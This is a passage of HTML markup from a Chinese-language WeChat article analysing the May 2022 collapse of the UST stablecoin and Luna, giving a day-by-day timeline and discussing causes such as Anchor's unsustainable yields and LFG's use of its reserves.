84, 84);letter-spacing: 0.5px;">这一阶段开始了Luna的天量铸币，而套利机制导致对UST的购买需求一度使其价格反弹至0.75美元左右。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8a2c3d97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbmJNpkTK5qr55ZZ3uicpPp31fpQC0BTUgFJCj8X7icju0FC5J7dibXY7kQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);text-decoration: underline;letter-spacing: 0.5px;"><strong><span style="text-decoration: underline;margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong>5</strong><strong>月12日</strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Anchor上的UST存款降低至20亿，同时烧毁UST铸造Luna并出售的套利机制使UST的总量减少至约112亿。但Luna价格跌破1美元，导致套利的边际铸币量过高，Luna供应量增加至1500亿枚的规模（Smart Stake），至此死亡螺旋难以挽回。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.49453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9c9a88be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbnicqicAUiadicG0t2mja5vt9LgmWn8icKtjvF0MTjfCGltsk3VkD5Moic1hw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);text-decoration: underline;letter-spacing: 0.5px;"><strong><span style="text-decoration: underline;margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="text-decoration: underline;margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong>5月13日</strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Terra区块链短时停止出块，恢复后暂停新的delegation以防范治理攻击；数小时后再次短暂停止，此次恢复后暂停Terra链上交易，但可以提币至中心化交易所。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">至此，由于套利机制关闭，UST和Luna的流通量不再变化，Luna价格一度跌破0.0001，总量达6.5万亿枚，UST价格跌破0.2美元，但仍剩余112亿枚未能销毁；</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">Luna沦为meme coin在各大交易所进入现货存量博弈阶段，币安上24小时交易额超过38亿BUSD。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">从UST轻微脱钩到UST完全崩盘，总共经历了不到一周的时间。在这一周内，UST的价格由1美元跌至约0.15美元，跌幅为85%，Luna由80美元跌至约0.0001美元，跌幅为99.9%。</span></section><h4 style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: Calibri;font-weight: bold;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">   UST 的 崩 盘 原 因  </p><span style="width: 100%;display: block;height: 8px;background: rgb(230, 238, 244);margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p style="line-height: 1.75em;margin-left: 16px;margin-right: 16px;"><br/></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">网上有十分多对UST的崩盘进行分析的文章，这里主要选取了《死亡螺旋发生后，UST和LUNA后半场还有哪些机会？》，《【深度分析】从真金白银的资金易手，看Luna崩盘的底层数学规律》，《8400万美元撬动400亿金融帝国，UST崩盘始末》，《UST 信仰崩塌？深入解读Anchor借贷机制》等文章中的一些观点对UST的崩盘进行浅析。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">UST崩盘背后的原因众说纷纭，这里主要列举几个比较主流的观点：</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 0.5px;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong></strong></span><strong style="mso-bidi-font-weight:normal;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;">Anchor的高利率背后没有足够的资金来支撑</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">如下图所示，利息收入和质押收入是 Anochor 两大收入来源，这些收入将被用于支付存款人高昂的 APY。如果收入大于支出，那么剩余部分将流向国库作为储备金，相反，如果收入小于支出，那么国库储备金将用于弥补这一空缺。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5706a5b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbjPYd61m0C2E5ASwIUhEzuvQvt43657AzArMibWV5kApflMpITSodlUQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在 2021 年的牛市中这种机制运行的非常平稳。牛市中，非稳定币的价格快速持续飞涨，意味着愿意持有稳定币并赚取收益的人并不多。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">随着存款的减少和借款的增加，借款利率 + 质押收益率可以很容易地达成 19.5% 的最低收益要求，以至于国库出现盈余，收益可以开始增长，为以后可能出现的熊市做准备。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">自 2022 年开始，在市场行情低迷和对 UST 作为稳定币的信心上升的双重影响之下，Anchor 上的存款规模迅速增长。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">虽然在同一时间段内，借款金额似乎也在上升，但它增长速率根本无法维持存款金额增长对于收益的需求。当借款 APR + 质押收益率不足以凑足 19.5% 时，就会使用收益率储备中的多余部分。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">然而，这种赚与借的重大差异导致储备金以极快的速度下降。按照2022年以来储备金流失的速度来算，储备金仍将在 2022 年 6 月中旬耗尽。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">但储备金不足并不是造成UST崩盘的直接原因，因为即使降低了Anchor上的存款APY，只要Anchor提供的收益比市场的均值要高的话，依旧能够继续吸收UST（特别是熊市来临时）。再不济，也可以在背地里通过燃烧Luna铸造UST来补充储备金。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 0.5px;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong></strong></span><strong style="mso-bidi-font-weight:normal;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;">Luna市值与UST市值出现倒挂</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在5月9日脱锚前，UST总市值为186亿美元，Luna总市值为220亿美元，UST:Luna约为85%，已经接近倒挂的边缘。此时Luna的价格约为60美元，UST在0.99美元附近徘徊。那么是Luna市值与UST市值倒挂，吹响了UST崩盘的号角吗？</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.50546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c65ef09a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbuYNJMdaAt2ErE8nK7x5uCzRn4fGmoibRiaXEGyzJOkVo5lwytW9Z1RAw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">在《【深度分析】从真金白银的资金易手，看Luna崩盘的底层数学规律》这篇文章中，作者认为总市值为200亿美元的Luna，如果有人用无限多的Luna砸盘，最终能卖出来的美元是远低于200亿美元的。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">并指出截止Luna市值跌去87%的时点，累计只有约10%的UST能通过转换为Luna退出，因此认为UST市值应该控制在Luna市值的10%之下（最好是5%），这样才能维持UST的价格锚定。</span></section><p style="text-align: justify;margin: 16px;line-height: 2em;"><span style="font-size: 16px;color: rgb(0, 122, 170);letter-spacing: 0.5px;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong></strong></span><strong style="mso-bidi-font-weight:normal;"><span style="color: rgb(0, 122, 170);font-size: 16px;font-family: Cambria;">Do Know和LFG的救市</span></strong></span></p><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">LFG Reserves公开的数据显示，在5月8日死亡螺旋发生前，项目方含有的储备金为30亿美元。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">从5月9日15时（北京时间，下同）开始，LFG的公开钱包地址开始发生交易，最后一笔转入币安的交易发生在5月10日12时。此时的UST还维持在0.985以上的价格。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">但Do Kwon在twitter上表示在UST跌破0.95美元之前，不会动用这一笔资金。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7169491525423729" data-s="300,640" style="" data-type="png" data-w="1180" src="https://wechat2rss.xlab.app/img-proxy/?k=3fd83dca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbFfwYmjOu6Az0fsPq5ceJsLCMXV0WM77OV4p63Rz7gSBPEgu5z1zIAw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">从5月10日凌晨开始，UST开始逐渐脱钩。在早上8时左右，UST的价格跌破了0.7美元。之后UST一度回到了0.9美元，但是并没有继续回到锚定价格。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">5月11日，在没有任何资金来帮助UST进行锚定后，Do Know发表推特，选择使用Luna和UST自身的燃烧和铸造机制来让UST回到锚定价格（选择躺平）。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">虽然后序UST的价格一度回到了0.8美元，但是仍然无法阻止死亡螺旋，最后UST不断地下跌至0.01美元以下。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5445205479452054" data-s="300,640" style="" data-type="png" data-w="1168" src="https://wechat2rss.xlab.app/img-proxy/?k=76c2a819&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf24BFVhpvcNF1HjpEXaDdbe5txGGibGibO2gEtgg5eib7ufA6iahGiaNhkZia2u9KvC65JGzNzBjkZrJIQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-size: 16px;color: rgb(84, 84, 84);font-family: Cambria;letter-spacing: 0.5px;">LFG在5月16日发表了twitter，说明了LFG Reserves资产的来龙去脉。</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong></strong>5月8日，LFG的初始资金：80,394 BTC，39,914 BNB，26,281,671 USDT，23,555,590 USDC，1,973,554 AVAX，697,344 UST，1,691,261LUNA</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;">LFG为了稳定UST的价格，用26,281,671 USDT 和 23,555,590 USDC合共换取了 50,200,071 UST。52,189 BTC卖给了交易对手方，换取了1,515,689,462 UST，交易对手方返还了5,313 BTC</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 122, 170);font-family: Cambria;float: none;overflow-wrap: break-word !important;box-sizing: border-box !important;display: inline !important;">•</span><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-family: Cambria;color: rgb(0, 122, 170);overflow-wrap: break-word !important;box-sizing: border-box !important;"> </span></strong></strong>5月10日，当UST的价格跌至0.75美元后，TFL代管LFG，并卖出了33206 BTC，换取了1,164,018,521 UST</span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><span style="font-family: Cambria;font-size: 16px;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;color: rgb(0, 122, 170);font-family: Cambria;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.5px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: 